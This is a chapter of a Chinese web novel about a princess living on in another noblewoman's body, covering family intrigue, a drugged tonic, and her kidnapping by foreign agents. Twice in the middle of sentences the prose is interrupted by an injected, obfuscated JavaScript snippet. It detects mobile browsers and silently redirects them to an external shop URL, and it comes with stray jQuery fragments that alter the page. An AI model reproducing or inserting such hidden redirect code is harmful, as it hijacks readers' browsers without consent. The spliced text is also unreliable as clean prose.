她吃得满足,甚至惬意地眯了眯眼,却全然忘记深究。 崔令言一贯注重养生,口味素来清淡。虽也嗜甜,却对这类糯米制成的、不易克化的糕点向来敬而远之,更因体质原因,对其中某种辅料轻微过敏,虽不致命,但会引发红疹不适。 戏至中场,李妙仪便觉颈侧与手腕内侧传来阵阵刺痒。初时只当是衣料摩擦,并未上心,直至回府后对镜卸妆,才惊见脖颈与手臂上已然浮起一片片细密的红疹,在雪肤映衬下格外刺目。 “哎呀!少夫人,您这是……”青鸾吓得低呼出声。 府医很快被请来,望闻问切后,沉吟道:“少夫人今日,可是误食了杏仁或荞麦一类之物?” 李妙仪这才恍然记起那梅花糕的馅料里,确乎掺着研得极细的杏仁粉,她暗叫不好,只得含糊应道:“许是在外头……不慎沾到了。” 消息传到国公夫人院里,她当即亲自过来探望,见儿媳白皙的肌肤上赫然一片红疹,又是心疼又是疑惑:“令言,你向来仔细,入口之物必再三留意,怎会误食了杏仁?你该知道自己的身子沾不得这个。” 她言语温和,目光却似有若无地掠过一旁神色凝重的长子郑淮舟,又扫过这寝室中泾渭分明、显然分榻而眠的陈设,眼中疑虑渐深。 她拉着李妙仪的手,柔声问道:“好孩子,你同母亲说实话。我瞧着你与济川近来,似乎不如往日亲近?可是夫妻之间闹了别扭?若是他哪里做得不好,委屈了你,你只管告诉母亲,我定为你做主。” 李妙仪扬起笑意,掩去所有慌乱:“母亲多虑了,世子待我极好,是儿媳自己不当心,才惹出这身麻烦,让您担忧了。” 郑淮舟适时上前一步,不着痕迹地挡在李妙仪身前,恭声道:“母亲,此事是儿子疏忽。今日灯市喧嚣,人多眼杂,未能仔细看顾好令言,才让她误食了东西,全是儿子的不是。” 国公夫人看着儿子这副明显维护的姿态,再看看儿媳那闪躲的眼神,心中疑虑非但未消,反而如投入石子的湖面,涟漪渐扩。她面上不显,只温言宽慰了几句,又嘱咐府医仔细用药,方才起身离去。 然而,不过半个时辰,国公夫人身边的刘嬷嬷便带着两个手脚利落的小丫鬟去而复返。几人手中捧着崭新的锦被软枕,脸上挂着恭谨周全、却不容置疑的笑容: “世子爷,少夫人安好,夫人回屋后总是放心不下,担心少夫人夜里若再有不适,身边没个得力人照应可不行。特命老奴带人过来,就在这外间歇下值夜,也好随时听候少夫人差遣,端茶递水、或是夜里起身,都便宜。” 话说得滴水不漏,情由更是冠冕堂皇,可这分明便是长辈派人来“守着”了。 李妙仪与郑淮舟对视一眼,都在对方眼中看到了无奈。长辈以关怀之名行监督之实,又是这般正大光明的理由,他们身为人子人媳,根本无从拒绝。 是夜,内室之中烛火昏黄,映照着相对无言的两人。 郑淮舟望着那扇半掩的的房门,提壶斟了两杯温水,将其中一杯推到李妙仪面前,试图缓和这尴尬的气氛:“母亲也是关心则乱。” 李妙仪不知该如何接话,杯中水汽氤氲,模糊了她低垂的眼睫,这方寸之间的静默,比任何喧闹都更令人心慌。 恰在此时,外间传来刘嬷嬷的禀告:“世子,少夫人,夫人惦记着,特吩咐小厨房炖了安神滋补的汤药,嘱咐务必请二位趁热用了,最是养身安眠。” 两个小丫鬟端着白瓷炖盅鱼贯而入,白瓷炖盅被轻轻掀开,一股浓郁的药膳香气弥漫开来,其中似乎还夹杂着些许不同寻常的、略带甜腥的气味。 李妙仪对药材所知有限,只当是国公府常用的滋补方子,并未深想。 郑淮舟率先端起自己那盅,喉结动了动,仰颈一饮而尽,姿态干脆。 见他如此,李妙仪也无法推拒,只得忍着那略嫌古怪的气味,小口小口地将温热的汤药灌入喉中。药液入腹,起初只是一股温和的暖意,渐渐扩散至四肢百骸,驱散了春夜的料峭。 时辰渐晚,烛火熄灭,两人在昏暗中各自就寝。郑淮舟在外侧和衣躺下,她在里侧紧贴床壁,中间隔着楚河汉界。 然而,不过半炷香的功夫,李妙仪便觉体内那股暖意骤然变质。它不再是温煦的热流,而是化作一股陌生的的燥热,自丹田深处窜起,野火般蔓延至全身。 她不安地翻了个身,薄薄的寝衣摩擦着皮肤,带来令人心悸的战栗,隐约猜到那汤药恐怕不止是“滋补”那么简单。 外侧的郑淮舟情况更为严峻,他素来体魄强健,气血旺盛,那药力于他而言,不啻于滚油泼火,额角迅速渗出细密的汗珠,呼吸变得粗重而灼热。 若是依着从前的认知,或是这段时日被她屡屡推拒的憋闷,他或许真的会顺势而为。 可此刻,黑暗中无比清晰的,是她那夜哭红的双眼,是她那句带着委屈与倔强的“没有感情基础”。若他今夜真的借着药力强迫了她,那他们之间,就真的再无转圜余地了。他想要的,不是一个仅仅顺从身体的妻子。 他猛地阖眼,舌尖抵住上颚,用力一咬。尖锐的痛感刺破混沌,换来片刻清明:“令言,你还好吗?” 她喉咙里逸出一声模糊的“嗯”,算是应答。 两人心知肚明,若今夜这房中悄无声息,明日回禀上去,国公夫人那里绝难交代,只怕后续还有更多难以招架的“关切”。 郑淮舟深吸一口气,仿佛下定了某种决心。他侧过身,面朝里侧那道纤细的身影,在浓稠的黑暗中,压低嗓音:“得罪了。” 话音落下,他伸出手,却并非触碰她,而是撑在床沿,开始摇晃起底下这张坚实的雕花拔步床。 “吱呀——吱呀——” 木质结构发出清晰的声响,规律地回荡在室内。李妙仪先是一愣,随即明白过来,脸上“轰”地一下烧得滚烫,连耳根脖颈都染上了绯色。 郑淮舟却如同钉在了原处,始终恪守着那道无形的界线,连一片衣角都未曾逾越。 外间,刘嬷嬷侧耳倾听片刻,脸上终于露出满意的神色,轻轻吁了口气,不再刻意关注内室动静,靠在椅背上闭目养神起来。 室内重新陷入寂静,郑淮舟猛地坐起身,抓起茶壶灌了几口凉茶:“我去洗把脸……”话音未落,人已踉跄着走向屏风后。 李妙仪躺在床榻上发呆,听着净室传来的水声,心跳如鼓,面如死灰。 次日清晨,天光初透,窗棂上漫着一层蟹壳青的薄明。 李妙仪几乎是一夜未眠,昨夜那尴尬的场景反复在脑海中翻搅。她侧头看向枕畔的郑淮舟,他似乎也睡得极不安稳,剑眉微蹙,眼下有着淡淡的青影,平日的冷峻被疲惫软化了几分。 两人的目光短暂相触,旋即如受惊般各自移开。一种无声的默契驱使着他们起身,各自梳洗,仿佛昨夜那场惊心动魄的拉扯从未发生。 青鸾进来伺候时,目光悄悄在二人之间打了个转儿,不由得抿嘴轻笑,体贴地放轻了手脚。 去往主院的路上,春日的晨光已蓄起了些许暖意,透过回廊边疏密有致的枝叶,筛下满径晃动的金斑。李妙仪刻意落后郑淮舟半步,目光不由自主地落在他宽阔的肩背上。 昨夜他强忍药力、尊重她意愿的举动,让她对这个“便宜夫君”的印象悄然改观。他并非她最初所想的那般,只遵从不近人情的伦常礼法。 郑淮舟似有所感,脚下微缓,等她行至身侧,却并未转头,只目视前方,低声留下一句:“稍后母亲若问起什么,一切由我应对便是。” 李妙仪表面未显,心里却忍不住长叹:急着抱孙子的公婆,隐忍不发的丈夫,时刻探查的小叔,这顶着别人皮囊的日子,究竟何时才是个头? 主院内,国公夫人早已端坐正堂,见二人相偕而来,目光在他们身上徐徐梭巡。儿子面色沉静,瞧不出端倪,儿媳眉宇间确有些掩不住的倦意,她心下微定,脸上绽开慈和的笑意。 “来了,快坐。”她语气格外和蔼,示意丫鬟布菜,“昨日令言身子不适,今日可大好了?我特意嘱咐厨房熬了冰糖燕窝粥,最是温补,你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17164853|196659||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 多用些。” “多谢母亲关怀。”李妙仪其实早已饥肠辘辘,却仍得端着世家闺秀的仪态,小口小口地啜着粥。 席间,国公夫人闲闲地提起话头,目光转向儿子,语气里带着几分嗔怪,又藏着不易察觉的试探:“昨夜刘嬷嬷回话说,你们房里歇得晚。我还担心令言身子弱,经不起折腾。济川,你也是,须知轻重,妻子是要疼着护着的,哪能由着性子来?” “噗……咳咳!”李妙仪猝不及防,一口粥呛在喉间,顿时咳得满脸通红,眼中都逼出了泪花。 郑淮舟亦是耳根微热,但他面色不改,甚至极为自然地伸手,力道适中地轻拍她的背脊,为她顺气,同时抬眼看向母亲,语气坦然得无懈可击:“母亲教训的是,儿子记下了,日后定会仔细,顾全令言身子。” 他掌心透过春衫传来的温热,与他此刻平静无波的语调,形成一种诡异的反差,让李妙仪更是窘得无地自容,只能借着咳嗽深深埋下头去。 这母子二人一唱一和,字字句句皆有所指,偏又叫人无法辩驳。 早膳便在这般微妙到令人头皮发麻的气氛中捱了过去。饭毕,郑淮舟被国公爷遣来的人请去了书房,李妙仪正欲回院,身后却响起了那道清朗而熟悉的声音。 “嫂嫂留步。” 李妙仪脊背几不可察地一僵,这称呼于她而言,依旧像一根细刺,每次听见都扎得心头不适。她缓缓转身。 回廊下,郑淮序一袭雨过天青色的常服,长身玉立。晨光自他侧方涌来,清晰勾勒出他利落的下颌线,却也将他眼中的审视衬得愈发深邃难明。 “二郎有事?”她维持着恰到好处的浅笑。 郑淮序踱步上前,在离她三步之遥处停住。这个距离,合乎礼数,却因他身高的优势与目光的专注,形成一种无形的压迫。 他沉默了片刻,像是在斟酌,又像是在观察她的每一丝反应,最终开口,单刀直入:“伯章冒昧,想请问嫂嫂,与已故的安阳公主,可曾相熟?” 李妙仪心中警铃大作,面上却适时地流露出几分恰到好处的讶异:“怎么突然问起这个?安阳公主乃金枝玉叶,我虽蒙圣恩,有幸在几次宫宴上遥瞻凤仪,也不过是远远瞧见,连话都未曾说过几句。说起来公主薨逝,实在令人痛惜。” 她回答得滴水不漏,正是崔令言该有的反应,言辞恭谨,态度疏离,既有对皇室的敬畏,也有对一位不幸早逝贵女的、合乎礼节的感慨。 郑淮序紧紧盯着她的眼睛,不放过任何一丝涟漪,继续逼近:“据我所知,围猎当日,曾有一名自称崔家仆役的男子,以进献时新瓜果为由,进入过公主帷帐。此事,嫂嫂身为崔家嫡女,可曾听闻?” 围猎日……崔家仆役…… 李妙仪只觉得脑袋里“嗡”的一声,仿佛有根弦骤然崩断。残缺的记忆碎片再次翻涌,却怎么也拼凑不出出一个完整的画面。她只记得那日营帐外很热闹,人来人往,可她有没有见过崔家的人,收过崔家的东西,全然没有印象! 而属于崔令言的记忆里,也丝毫没有相关的记录。 心底的疑窦如藤蔓般疯狂滋生,缠绕得她几乎窒息。她强行稳住心神,蹙起秀眉,做出努力回想的样子,随后轻轻摇头:“竟有此事?围猎之日,我一直随母亲在女眷区休憩,并未留意帐外琐事。二郎此言……莫非此事有何不妥?与我崔家又有何干系?” 她的反应,从初闻的惊讶,到回忆的茫然,再到因家族被无端牵连而生的、合乎身份的矜持不悦,层层递进,毫无破绽。 郑淮序眼中那簇微弱的、探寻的火苗,倏然黯了黯,被浓浓的失望覆盖。然而,那深植于心的怀疑,却并未因此消散,只是沉入了更晦暗的深处。 “无意冒犯嫂嫂与崔家清誉,只是案情重大,任何细微线索都不敢轻忽。”他后退半步,拱手一礼,语气恢复了往常的疏淡,“既如此,伯章告退。” 看着那道天青色的身影转身,毫不犹豫地没入回廊尽头的光影里,李妙仪站在原地,只觉得周身发冷。 那个神秘的、进入过她帷帐的崔家仆役,究竟是谁?所为何来?与她最后的坠崖,是否有着千丝万缕的关联? 一个念头无比清晰地撞入脑海,带着不容拒绝的紧迫—— 她必须立刻回一趟崔家。 5. 公允 半个时辰后,李妙仪的马车稳稳停在了崔府门前。 朱漆大门依旧锃亮,可听闻小姐归宁,门房脸上却不见多少喜色,反而掠过一丝显而易见的慌乱,连通报声都失了往日的利落。 这丝异样,在她踏入府邸的瞬间便得到了印证。记忆中的亭台楼阁、回廊水榭未变,却仿佛被一层无形的阴霾所笼罩。 一路行至正堂,沿途未闻半点笑语人声。 正堂内,父亲崔弘面沉如水,端坐主位,手中茶盏早已凉透。母亲柳氏则捏着绢帕,不停地按拭眼角,可那发红的眼眶里,与其说是悲伤,不如说是怨愤与焦灼。 堂下赫然跪着两个年轻男子,正是崔令言的同胞弟弟,崔令铮与崔令韬。两人皆垂首屏息,背脊僵硬。 “父亲,母亲,这是怎么了?”李妙仪依照记忆里的称呼问道。 “言儿回来了。”崔弘抬眼看了看她,眉头深锁,最终只化为一声重若千钧的叹息。 柳氏见到女儿,仿佛找到了宣泄的闸口,立刻哭诉起来:“言儿啊,你可算回来了!你看看,你看看你这两个不争气的弟弟!春闱放榜,他们竟……竟双双落榜!我们崔家诗礼传家,何曾有过这般颜面扫地的时候?日后在这盛京城,叫我们如何抬得起头来见人!” 她猛地转头,涂着鲜红丹蔻的手指几乎要戳到跪地儿子的脸上:“平日里请的是最好的西席,耗费多少银钱心血供你们读书上进!结果呢?连个功名都挣不回来!废物!真是白养了你们!” 崔令铮与崔令韬将头埋得更低,肩膀怯懦地瑟缩了一下,不敢发出任何辩驳之声。 李妙仪看着这一幕,不免感到错愕。她从崔令言庞杂的记忆里知晓,崔家父母望子成龙心切,对子女管教向来严苛,却没想到竟到了如此歇斯底的地步。 科举之道千军万马,落榜本是常事,何至于此? 她正欲出言劝慰几句,柳氏却话锋一转,将矛头对准了她:“还有你,言儿!如今你已是国公府的长媳,世子的正妻,风光无限,怎么也不知在夫君面前替你弟弟们美言几句?走走国公府的门路?你难道就眼睁睁看着娘家势微,看着你弟弟们前途毁于一旦吗?你的心肠,何时变得如此冷硬了?” 这一连串劈头盖脸的质问,如同数九寒天的冰水,对着李妙仪当头浇下。 她难以置信地看着眼前这位“母亲”,那些被崔令言深埋心底、用温婉顺从层层包裹起来的记忆碎片,猛地冲破屏障,汹涌而至 原来,所谓的“掌上明珠”,不过是一件待价而沽、需要精心打磨以换取最高回报的商品。 从小,崔令言就被迫学习各种技艺,琴棋书画,诗词歌赋,言行举止,无一不苛求完美。她记得指节被戒尺打得红肿的疼痛,记得深夜临帖手腕酸麻也不敢停歇的恐惧,更记得弹错一个音阶时,母亲那如同看待瑕疵品般的眼神。 那令盛京人人艳羡的“第一才女”之名,从来不是荣耀,而是用无数个日夜的血泪、恐惧与自我压抑堆砌起来的华丽牢笼。 而真正的崔令言,或许早已在这日复一日的规训与物化中变得麻木,甚至将这种压榨与索取,扭曲地当作了父母之爱、家族责任。 何其讽刺!何其可悲! 李妙仪心中翻涌着属于崔令言的悲哀,也燃烧着属于李妙仪的怒火。她深吸一口气,压下翻腾的情绪,再开口时,字字诛心: “母亲此言差矣。国公府门风清正,最重规矩体统,世子更是行事磊落之人,岂会因私废公,行那徇私舞弊、有损清誉之事?况且,走门路、攀关系,难道就能保一世安稳,护家族永昌吗?” 她心念电转,借机试探,将那个名字轻轻抛出,“就像当初,你们处心积虑,想让弟弟去攀附安阳公主,结果又如何呢?” 不料,柳氏闻言脸色骤变,像是被踩中了痛脚,脱口而出:“好端端的,提那个死人做什么?真是晦气!” 她未曾察觉女儿的异样,自顾自地抱怨下去:“要怪只怪你弟弟运气不好,白生了这副俊俏皮囊!时间掐得不准,去的时候那跋扈公主竟不在帐中!若是当时成了好事,生米煮成熟饭,我们崔家何须如今日这般,处处看人脸色,仰人鼻息!” 轰—— 李妙仪如遭雷击,僵在原地。 原来竟是真的,郑淮序查到的线索分毫不错! 崔家确实派人去了她的帷帐,目的竟是如此龌龊不堪,让自家儿郎“自荐枕席”,凭借色相攀附她这位公主,为崔家换取一步登天的捷径! 这所谓的清流名门,诗书传家,内里竟是如此蝇营狗苟,醉心功名利禄,不惜用这般下作手段,将子女也当作可以随意押注的筹码。 柳氏犹自喋喋不休,细数着安阳公主生前的种种“荒唐”,言语间尽是鄙夷,末了又悻悻道:“查了这数月也无结果,怕不就是她自己骄纵任性,不小心失足坠亡的!如今倒连累得京中不安宁,搅扰得各家不宁,真是……祸害!” 李妙仪第一次如此清晰而残酷地认识到,从前那个众星捧月、自以为活在真情实意中的安阳公主,在许多人眼中,或许不过是一个可供利用、可供攀附、甚至可供践踏以彰显自身“清高”的符号。 连郑淮序当初那句“你太天真”的警告,此刻听来,也并非全无道理。她过往的世界何其单薄,缺乏应有的戒备与心机,最终竟连自己因何而死,都懵然不知。 巨大的荒谬感与彻骨的悲凉席卷了她,几乎要将她吞没。 她看着眼前这一张张陌生又熟悉的、被欲望与焦虑扭曲的面孔,只觉得这雕梁画栋的崔府,比任何地方都要令人窒息。 “女儿忽然身子不适,先回国公府了。” 她冷冷丢下一句话,步履匆匆,几乎是逃离一般,冲出了这片华丽而腐朽的泥沼。 离开令人窒息的崔府,李妙仪未直接回国公府。马车辘辘行驶在盛京的街巷间,帘外是喧嚣的市井烟火,帘内是她一颗无所适从的心。 “去一品茶楼。”她轻声吩咐车夫。 那是盛京最负盛名的茶楼,也曾是她作为安阳公主时最恣意流连的所在。 那些偷溜出宫的午后,她总是独自占据二楼临窗的雅座,点一壶上好的碧螺春,听说书人讲述江湖侠客的快意恩仇。那些故事里的自由与洒脱,是她困于金雕玉砌的深宫中,最为心驰神往的光。 如今故地重游,心境却已沧海桑田。 茶香袅袅中,楼下的说书先生醒木“啪”地一拍,洪亮嗓音穿透嘈杂,清晰地传了上来:“列位看官,今日咱们不说前朝旧史,不表江湖豪侠,单说一说那红颜薄命的安阳公主!” 李妙仪端着茶杯的手猛地一颤,滚烫的茶汤险些泼洒出来。 “说起安阳公主,那可是当今圣上与皇后娘娘捧在心尖上的明珠!”说书人声音抑扬顿挫,绘声绘色,“自幼便聪慧绝伦,三岁能诵诗,五岁能作画,更难得的是,这位公主尤善骑射,胆识过人!诸位可知,去岁秋狩,公主殿下一箭射中奔鹿,箭法之精准,力道之沉稳,连在场宿将都抚掌赞叹。” 茶楼里响起一片惊叹声。 “这位公主的性子,是张扬了些,”说书人话锋微转,语气里却并无贬斥,反带着一种奇异的欣赏,“可那是一种生机勃勃的张扬,如同六月最炽烈的阳光,活得坦荡,爱憎分明。虽是天潢贵胄,金枝玉叶,待下人却难得宽和。唉,只可惜啊……” 他重重叹息一声,带着无尽的遗憾,茶楼内也随之安静下来。 “天妒红颜,明珠蒙尘。最终只落得个‘骄纵’的名声,未得善终,实在令人痛惜扼腕!” 楼下的听众发出阵阵唏嘘,交头接耳间,皆是关于这位传奇公主早逝的感慨与猜测。 雅间内,李妙仪怔怔地听着,一股酸涩的热意毫无预兆地冲上眼眶,视线迅速模糊。 一日之内,她在崔家听到了极尽的贬低与利用,而在这鱼龙混杂的茶楼里,却听到了相对公允的评价。 原来,在外人眼中,她李妙仪并非一无是处。 她也第一次如此清晰地意识到,无论是她这位天之骄女,还是崔令言那盛京才女,都因身为女子,而被赋予了太多的桎梏与期望。 崔令言被家族的期望压得喘不过气,成为一件精美的装饰;而她李妙仪,即便尊为公主,一生的价值似乎也只系于“公主”这个身份,而非她本身。 她的死亡,在许多人看来,不过是一桩可供消遣谈资的、“红颜薄命”的唏嘘轶事。 这种认知,让她感到一种前所未有的孤独与悲凉。她仿佛站在两个世界的裂隙之间,既无法全然回到过去那个鲜衣怒马的安阳,也无法彻底成为现在这个温婉隐忍的“崔令言”。 “想不到,嫂嫂也喜欢来这里听书。” 熟悉的嗓音自身后响起,打破了她的沉思。 李妙仪慌忙拭去眼角的湿意,回过头,只见郑淮序不知何时已站在雅间门口,正目光复杂地看着她。 他今日未着官服,一身墨蓝色长衫更衬得面容清俊,只是眉宇间那抹沉郁,似乎比往日更重了几分。 “二郎?”李妙仪迅速整理好情绪,挤出笑容,“好巧。” 郑淮序举步走进雅间,在她对面落座,目光扫过楼下的说书人:“是啊,好巧。”他顿了顿,仿佛随口问道,“嫂嫂方才听得入神,可是也觉得这说书人所言,有几分道理?” 李妙仪莫名生出几分自卖自夸的荒诞感,轻声道:“安阳公主之事,我知之甚少。只是听这说书人所言,公主殿下似乎与外界传言,颇有不同。” “是啊,世人皆只见其表。”他像是自言自语,又像是终于找到了一个可以倾吐的缝隙,“她看似骄纵,实则心性单纯;看似张扬,内心却比谁都渴望真诚。只是这世间规矩、这人心叵测,容不下她那般鲜活恣意地活着罢了。” 鲜活么?< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17164854|196659||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 李妙仪的视线投向窗外繁华的街景,她从未想过,这个平日里总是与她针锋相对的死对头,竟是如此看待她的。 雅间内一时陷入沉默,只有楼下的说书声和窗外的市井喧嚣隐隐传来,却更显得这一方天地寂静得让人心慌。 李妙仪决定不再回避,她抬起眼,直直迎上郑淮序探究的目光:“今日我回了一趟崔家。” 郑淮序眼神一凝,身体不自觉地微微前倾:“哦?可有所获?” “你昨日所言不虚。”李妙仪将今日在崔家的所见所闻,尤其是父母关于“攀附公主”、“时间不准”的言论,选择性地、用一种发现家族不堪而心生悲凉与不齿的语气娓娓道来。 随着她的叙述,郑淮序的脸色越来越沉。 “虽非直接凶手,但此行径,已是对公主殿下极大的不敬与亵渎。”他紧盯着李妙仪,“嫂嫂,令尊令母可曾提及,当日派去的是何人?具体是何时辰?” 李妙仪摇了摇头,面上适时地露出几分无奈:“依你之见,此事与公主坠崖,可有关联?” “目前尚无直接证据表明有关。但任何出现在公主身边的不寻常之人、之事,都可能是线索。” 他话锋一转,目光如锁链般牢牢锁住李妙仪,“嫂嫂既是崔家女,又与公主有几分交情,伯章冒昧,想请嫂嫂助我一臂之力。或许能从中发现更多与崔家,乃至与公主之死相关的线索。” 这个请求,正中李妙仪下怀。她也迫切想揭开自己死亡的谜团,找出那个在围猎场对她下毒手的真凶。 “既事关重大,又牵连我母家清誉,我自当尽力。”她郑重颔首,应承下来。 就在这时,郑淮序忽然眉头一皱,侧耳凝神,神色瞬间变得警觉而凝重:“楼下有异动,嫂嫂在此稍坐,我下去看看。” 眼见他要离开,李妙仪不知哪来的勇气,脱口而出:“二郎!” 郑淮序脚步顿住,背影僵硬了一瞬。 “你为何如此执着于追查公主之事?”她急切问道,“是因为职责所在?还是因为……别的什么?” 这是她心底盘桓已久的疑问。郑淮序身为朝廷命官,查案本是分内之事,可他那眼神中刻骨的痛楚、语气里那份不容置疑的坚定,都远远超出了一个官员对案件的正常关注。 良久,久到李妙仪几乎以为他不会回答时,他低沉而清晰的声音才传来,每一个字都像是从胸腔深处挤出,缓慢而沉重: “因为,我曾答应过要护她周全。” “因为我欠她一个答案。” “更因为……她不该就那样不明不白地死去。” 说完,他不再停留,大步流星地离去,身影很快消失在楼梯转角。 雅间内,复又只剩下李妙仪一人。她怔怔地坐在原地,耳边反复回响着郑淮序最后那几句话,字字句句,如同重锤敲击在心鼓之上。 她与郑淮序,在过去的岁月里,除了针锋相对、唇枪舌剑,何时有过这样沉重的承诺?他们之间,除了那些争执和不快,还有什么是她不知道的吗? 茶汤已凉,碧绿的茶叶沉在杯底,舒展着最后的姿态。 然而,就在她沉浸在自己的思绪中时,危险猝然而至。 雅间临街的窗户被一股巨力从外撞开! 木屑纷飞间,两道黑影如同鬼魅般窜入室内。他们全身笼罩在夜行衣中,只露出一双冰冷无情的眼睛,动作迅捷,目标明确地直扑李妙仪而来。 李妙仪心中大骇,几乎是本能反应,身体比意识更快行动,那是属于安阳公主的、刻入骨髓的应急反应和多年习武养成的条件反射。 她猛地向后一仰,险险避开直取咽喉的凌厉一击,同时顺手抄起桌上的茶壶,狠狠掷向其中一人。 “砰!” 茶壶在半空中被黑衣人一掌击碎,瓷片爆裂四射,滚烫的残茶混合着茶叶泼洒开来,虽未能伤敌,却成功模糊了对方视线,稍阻其攻势。 但另一名黑衣人已欺身近前,掌风凌厉凶悍,直击她毫无防护的面门。 李妙仪咬紧牙关,凭借记忆中残存的灵动步法与娇小身形勉强侧滑闪避,同时抬臂格挡。 掌臂相交,一股排山倒海般的巨力猛然传来,李妙仪只觉得整条手臂酸麻剧痛,气血即刻翻涌,连连后退数步才稳住身形,胸口窒闷,眼前阵阵发黑。 这具身体终究是娇养的崔令言,纤细柔弱,远不及她前世经过长期骑射锻炼的强健体魄。不过是几个回合的交手,她已经感到力不从心。 几招过后,破绽立现。对方显然训练有素,瞅准她换气的空档,一记手刀快如闪电,精准地劈在她的后颈上。 剧痛混合着强烈的眩晕感炸开,席卷了所有意识。李妙仪眼前最后看到的,是那黑衣人冷漠得不见一丝波澜的眼睛,以及那只伸过来欲擒住她的手臂。 随即,无边的黑暗与死寂轰然降临,吞没了一切。 6. 依赖 郑淮序在楼下并未发现明显异常,只几个行踪鬼祟的江湖人,他略加留意便未深究。但那缕莫名的不安始终萦绕心头,最终促使他快步折返雅间。 推开门,洞开的窗扉灌入冷风,室内一片狼藉,茶壶碎片与泼洒的茶渍满地,圆凳翻倒,而那个本该坐在窗边的身影,已杳然无踪。 他脸色骤然沉下,快步走到窗边,指尖抚过窗棂上新鲜的刮痕,拈起一小块被粗糙木刺勾下的深色布条,又瞥见窗外檐角处那一点几乎与尘土混为一体的、微湿的泥印。 “北戎鞣制皮料。”他指腹摩挲布条,眼神冰冷。 京畿重地,竟混入了北戎人?他们为何会突然对崔令言下手?是因为她今日回崔家探查,无意中触及了什么?还是这些人的目标,本就是她身后的郑家? 不敢有丝毫耽搁,郑淮序立刻循着那细微的踪迹追了出去,他自幼习武,于追踪之术上亦是翘楚,对方虽刻意掩饰,终究留下了蛛丝马迹。 暮色渐沉,四合的天光为追踪平添了重重阻碍,郑淮序的心也随着愈发偏僻的环境而不断下沉。最终,他追踪至城西一处废弃的货栈外。 此地远离闹市,荒草萋萋,断壁残垣间,唯有货栈深处隐约透出一点微弱的灯火,并有刻意压低的、异域口音浓重的交谈声断续传来。 他屏息凝神,如暗夜中无声潜行的狸猫,悄无声息地贴近,寻了一处破损的窗棂向内望去。 只见货栈空旷的主厅内,聚集了约摸二三十人,个个身形彪悍,眼窝深邃,带着北地草原民族特有的轮廓特征。 “擒了郑淮舟之妻,不怕他不就范,边关布防图,必须拿到!”一个头领模样的人压低声音,语气狠戾。 郑淮序心中一震,原来他们的目标竟是大哥郑淮舟,想以嫂嫂为质,威胁他交出边关布防图,好狠毒的计策! 他强迫自己迅速冷静下来,目光如炬,再度扫过整个货栈内部,空旷的主厅,杂乱堆砌的废弃货箱,三三两两巡视的守卫,却唯独不见崔令言的身影。 心头一紧,他愈发谨慎地移动位置,从不同角度仔细观察。 终于发现,主厅后方阴影深处,似乎还有一道不起眼的窄小木门,被堆积的杂物半掩着,门两侧,各有两名持刀守卫肃立。 对方人数众多,硬闯绝非上策。郑淮序深吸一口气,借助暮色和废弃杂物的掩护,如同影子般悄无声息地绕到货栈侧后方。 他找到一处因潮湿腐朽而松动的木板,用匕首小心翼翼地将缝隙扩大,随即侧身,敏捷地潜入了一条堆满破旧货箱、仅供一人勉强通行的狭窄通道。 通道内光线昏暗,空气中弥漫着浓重的霉味和灰尘。他屏住呼吸,凭着直觉和对方向的判断,在迷宫般的废弃通道中穿行,尽可能避开主厅区域。 经过一番探寻,他终于靠近了那扇疑似通往后方密室的小门附近。 这里有一处破损的通风口,透过缝隙,他隐约看到里面是一个更为狭小的空间,而李妙仪,正一动不动地躺在角落的草堆上。 确认了目标位置,郑淮序开始寻找最佳的潜入路线。他注意到,这密室虽有人把守,但其一侧的墙壁与废弃通道相邻,且墙壁底部似乎因潮湿腐朽而有些破损。 他耐心蛰伏,直到门外的两名守卫因换岗而短暂交接、注意力分散的刹那—— 身形骤然发动!快如猎豹,却又轻似落叶,瞬息间便已无声无息地移动至墙根死角。 他利用随身匕首,巧妙而迅速地扩大那处破损,木屑细微地剥落,一个足以让人匍匐通过的缺口悄然形成。 整个过程几乎未发出任何值得警觉的声响,郑淮序没有丝毫犹豫,立刻从缺口处敏捷地钻入密室,第一时间来到李妙仪身边蹲下查看。 她依旧昏迷着,双目紧闭,原本梳理整齐的发髻已然散乱,几缕乌黑的发丝黏在苍白汗湿的颊边,更衬得那张小脸脆弱不堪。 他轻轻拍了拍她的脸颊,触手一片微凉滑腻,低唤的声音不自觉地带上了自己都未察觉的紧绷:“嫂嫂?崔令言?” 李妙仪毫无反应,呼吸微弱得令人心慌。 郑淮序眉头紧锁,指下滑至她纤细的腕间,探察脉息。指尖下的脉搏跳动迟缓无力,他脸色更加难看。他们竟给她喂了软筋散,难怪她毫无反抗之力。 情况危急,容不得半分犹豫。郑淮序摒弃所有杂念,手臂小心地穿过她的腿弯与后背,微一用力,将少女轻盈娇软的身体打横抱起。 当那具温香软玉落入怀中时,一股淡雅独特的馨香钻入鼻息。 郑淮序浑身猛地一僵,臂弯处清晰地传来她腰肢那不盈一握的纤细触感,与胸前猝然压下的柔软温热,耳根不受控制地泛起热意。 他强迫自己忽略胸腔里失控的心跳,将她更紧地、却又极其克制地护在胸前,沿着来时探明的、相对安全的废弃通道,小心翼翼地向外潜去。 通道狭窄,堆满杂物,光线愈发昏暗。 郑淮序抱着李妙仪,行动极为不便,每一步都需万分谨慎,侧身、弯腰、抬臂,用自己宽阔的肩背为她挡开所有可能磕碰的棱角与障碍。 